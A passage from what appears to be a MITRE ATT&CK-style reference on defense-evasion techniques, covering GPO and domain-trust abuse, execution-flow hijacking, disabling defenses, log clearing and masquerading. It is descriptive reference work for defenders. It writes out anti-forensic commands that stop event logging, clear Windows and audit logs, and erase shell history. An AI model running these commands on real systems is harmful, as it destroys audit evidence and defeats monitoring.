Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.

Malicious GPO modifications can be used to implement many other malicious behaviors such as Scheduled Task/Job, Disable or Modify Tools, Ingress Tool Transfer, Create Account, Service Execution, and more. Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.

For example, publicly available scripts such as `New-GPOImmediateTask` can be leveraged to automate the creation of a malicious Scheduled Task/Job by modifying GPO settings, in this case modifying `<GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml`. In some cases an adversary might modify specific user rights like `SeEnableDelegationPrivilege`, set in `<GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf`, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.

.002 - Domain Trust Modification

Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources. These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.

Manipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge SAML Tokens, without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert a domain to a federated domain, which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.

T1480 Execution Guardrails

T1211 Exploitation for Defense Evasion

T1222 File and Directory Permissions Modification

T1564 Hide Artifacts

T1574 - Hijack Execution Flow

Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.

There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.

.001 - DLL Search Order Hijacking

Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.

There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL.

Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.

.002 - DLL Side-Loading

Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking, side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).

Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.

.004 - Dylib Hijacking

Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with `@rpath`, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the `LC_LOAD_WEAK_DYLIB` function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.

Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path. Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.

.005 - Executable Installer File Permissions Weakness

Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

.006 - Dynamic Linker Hijacking

Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as `LD_PRELOAD` on Linux or `DYLD_INSERT_LIBRARIES` on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.

On Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the `export` command, `setenv` function, or `putenv` function. Adversaries can also leverage Dynamic Linker Hijacking to export variables in a shell or set variables programmatically using higher level syntax such Python’s `os.environ`.

On Linux, adversaries may set `LD_PRELOAD` to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. `LD_PRELOAD` can be set via the environment variable or `/etc/ld.so.preload` file. Libraries specified by `LD_PRELOAD` are loaded and mapped into memory by `dlopen()` and `mmap()` respectively.

On macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the `DYLD_INSERT_LIBRARIES` environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.

.007 - Path Interception by PATH Environment Variable
Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.

The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, `%SystemRoot%\system32` (e.g., `C:\Windows\system32`), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.

For example, if `C:\example path` precedes `C:\Windows\system32` is in the PATH environment variable, a program that is named net.exe and placed in `C:\example path` will be called instead of the Windows system "net" when "net" is executed from the command-line.

.008 - Path Interception by Search Order Hijacking
Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.

Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike DLL Search Order Hijacking, the search order differs depending on the method that is used to execute the program. However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.

For example, "example.exe" runs "cmd.exe" with the command-line argument `net user`. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then `cmd.exe /C net user` will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT.

Search order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.

.009 - Path Interception by Unquoted Path

Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.

Service paths and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., `C:\unsafe path with space\program.exe` vs. `"C:\safe path with space\program.exe"`). (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is `C:\program files\myapp.exe`, an adversary may create a program at `C:\program.exe` that will be run instead of the intended program.

This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

.010 - Services File Permissions Weakness

Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

.011 - Services Registry Permissions Weakness

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under `HKLM\SYSTEM\CurrentControlSet\Services`. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through access control lists and user permissions.

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter other Registry keys in the service's Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.

The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL. If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service's Registry tree to point to a malicious DLL.

Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities. Additionally, If adversaries launch their malicious services using svchost.exe, the service's file may be identified using HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll.

.012 - COR_PROFILER

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.

The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a Component Object Model (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.

Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: Bypass User Account Control) if the victim .NET process executes at a higher permission level, as well as to hook and Impair Defenses provided by .NET processes.

.013 – KernelCallbackTable

Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads. The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.

An adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as Reflective Code Loading or Process Injection into another process.

A pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() Native API function). Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.

The tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload. Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.

T1562 - Impair Defenses

Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.

Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.

.001 - Disable or Modify Tools

Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.

Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Like Indicator Blocking, adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.

In cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.

Furthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools. For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.

Additionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. Exploitation for Privilege Escalation), which may lead to bypassing anti-tampering features.

.002 - Disable Windows Event Logging

Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more. This data is used by security tools and analysts to generate detections.

The EventLog service maintains event logs from various system components and applications. By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to `Security Settings\Local Policies\Audit Policy` for basic audit policy settings or `Security Settings\Advanced Audit Policy Configuration` for advanced audit policy settings. `auditpol.exe` may also be used to set audit policies.

Adversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: `Stop-Service -Name EventLog`. Additionally, adversaries may use `auditpol` and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the `/success` or `/failure` parameters. For example, `auditpol /set /category:"Account Logon" /success:disable /failure:disable` turns off auditing for the Account Logon category.[7][8] To clear the audit policy, adversaries may run the following lines: `auditpol /clear /y` or `auditpol /remove /allusers`.

By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.

.003 - Impair Command History Logging

Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.

On Linux and macOS, command history is tracked in a file pointed to by the environment variable `HISTFILE`. When a user logs off a system, this information is flushed to a file in the user's home directory called `~/.bash_history`. The `HISTCONTROL` environment variable keeps track of what should be saved by the `history` command and eventually into the `~/.bash_history` file when a user logs out. `HISTCONTROL` does not exist by default on macOS, but can be set by the user and will be respected.

Adversaries may clear the history environment variable (`unset HISTFILE`) or set the command history size to zero (`export HISTFILESIZE=0`) to prevent logging of commands. Additionally, `HISTCONTROL` can be configured to ignore commands that start with a space by simply setting it to "ignorespace". `HISTCONTROL` can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both previous examples. This means that " ls" will not be saved, but "ls" would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all their terminal commands.

On Windows systems, the `PSReadLine` module tracks commands used in all PowerShell sessions and writes them to a file (`$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt` by default). Adversaries may change where these logs are saved using `Set-PSReadLineOption -HistorySavePath {File Path}`. This will cause `ConsoleHost_history.txt` to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command `Set-PSReadlineOption -HistorySaveStyle SaveNothing`.

Adversaries may also leverage a Network Device CLI on network devices to disable historical command logging (e.g. `no logging`).

.004 - Disable or Modify System Firewall

Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.

Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.

.006 - Indicator Blocking

An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting or even disabling host-based sensors, such as Event Tracing for Windows (ETW), by tampering settings that control the collection and flow of event telemetry. These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as PowerShell or Windows Management Instrumentation.

ETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell `Set-EtwTraceProvider` cmdlet or by interfacing directly with the Registry to make alterations.

In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.

In Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors.

.007 - Disable or Modify Cloud Firewall

Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in Disable or Modify System Firewall.

Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity.

Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.

.008 - Disable Cloud Logs

An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection.

Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.

.009 - Safe Mode Boot

Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.

Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.

Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. Modify Registry). Malicious Component Object Model (COM) objects may also be registered and loaded in safe mode.

.010 - Downgrade Attack

Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, PowerShell versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to Impair Defenses while running malicious scripts that may have otherwise been detected.

Adversaries may downgrade and use less-secure versions of various features of a system, such as Command and Scripting Interpreters or even network protocols that can be abused to enable Adversary-in-the-Middle.

T1070 - Indicator Removal

Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.

Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.

.001 - Clear Windows Event Logs

Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.

The event logs can be cleared with the following utility commands:

- `wevtutil cl system` or `wevtutil clear-log system`
- `wevtutil cl application` or `wevtutil clear-log application`
- `wevtutil cl security` or `wevtutil clear-log security`

These logs may also be cleared through other mechanisms, such as the event viewer GUI or PowerShell.

.002 - Clear Linux or Mac System Logs

Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. Most of the native system logging is stored under the `/var/log/` directory. Subfolders in this directory categorize logs by their related functions, such as:

- `/var/log/messages`: General and system-related messages
- `/var/log/secure` or `/var/log/auth.log`: Authentication logs
- `/var/log/utmp` or `/var/log/wtmp`: Login records
- `/var/log/kern.log`: Kernel logs
- `/var/log/cron.log`: Crond logs
- `/var/log/maillog`: Mail server logs
- `/var/log/httpd/`: Web server access and error logs

.003 - Clear Command History

In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.

On Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable `HISTFILE`. When a user logs off a system, this information is flushed to a file in the user's home directory called `~/.bash_history`. The benefit of this is that it allows users to go back to commands they've used before in different sessions.

Adversaries may delete their commands from these logs by manually clearing the history (`history -c`) or deleting the bash history file `rm ~/.bash_history`.

Adversaries may also leverage a Network Device CLI on network devices to clear command history data (`clear logging` and/or `clear history`).

On Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the `PSReadLine` module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.

The `PSReadLine` command history tracks the commands used in all PowerShell sessions and writes them to a file (`$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt` by default). This history file is available to all sessions and contains all history since the file is not deleted when the session ends.

Adversaries may run the PowerShell command `Clear-History` to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the `ConsoleHost_history.txt` file. Adversaries may also delete the `ConsoleHost_history.txt` file or edit its contents to hide PowerShell commands they have run.

.004 - File Deletion

Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples of built-in Command and Scripting Interpreter functions include `del` on Windows and `rm` or `unlink` on Linux and macOS.

.005 - Network Share Connection Removal
Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and SMB/Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the `net use \system\share /delete` command.

.006 – Timestomp
Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.

Timestomping may be used along with file name Masquerading to hide malware and tools.

.007 - Clear Network Connection History and Configurations
Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system from behaviors that require network connections, such as Remote Services or External Remote Services. Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.

Network connection history may be stored in various locations on a system. For example, RDP connection history may be stored in Windows Registry values under:

- `HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default`
- `HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers`

Windows may also store information about recent RDP connections in files such as `C:\Users\%username%\Documents\Default.rdp` and `C:\Users\%username%\AppData\Local\Microsoft\TerminalServer Client\Cache\`. Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).

Malicious network connections may also require changes to network configuration settings, such as Disable or Modify System Firewall or tampering to enable Proxy. Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.

.008 - Clear Mailbox Data
Adversaries may modify mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails or logs generated by the application or operating system, such as export requests.

Adversaries may manipulate email mailbox data to remove logs and artifacts, such as evidence of Phishing/Internal Spearphishing, Email Collection, Mail Protocols for command and control, or email-based exfiltration such as Exfiltration Over Alternative Protocol. For example, to remove evidence on Exchange servers adversaries have used the ExchangePowerShell PowerShell module, including Remove-MailboxExportRequest to remove evidence of mailbox exports. On Linux and macOS, adversaries may also delete emails through a command line utility called mail or use AppleScript to interact with APIs on macOS.

.009 - Clear Persistence
Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, Modify Registry, Plist File Modification, or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.

In some instances, artifacts of persistence may also be removed once an adversary's persistence is executed in order to prevent errors with the new instance of the malware.

T1202 - Indirect Command Execution
Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, Forfiles, the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a Command and Scripting Interpreter, Run window, or via scripts.

Adversaries may abuse these features for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd or file extensions more commonly associated with malicious payloads.

T1036 – Masquerading
Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.

Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.

.001 - Invalid Code Signature
Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.

Unlike Code Signing, this activity will not result in a valid signature.

.002 - Right-to-Left Override
Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\u202Egnp.js will be displayed as photo_high_resj.png.

Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with Spearphishing Attachment/Malicious File since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity. RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.

.003 - Rename System Utilities

Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename `rundll32.exe`). An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths.

.004 - Masquerade Task or Service

Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description. Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.

Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.

.005 - Match Legitimate Name or Location

Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: `svchost.exe`). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.

Adversaries may also use the same icon of the file they are trying to mimic.

.006 - Space after Filename

Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.

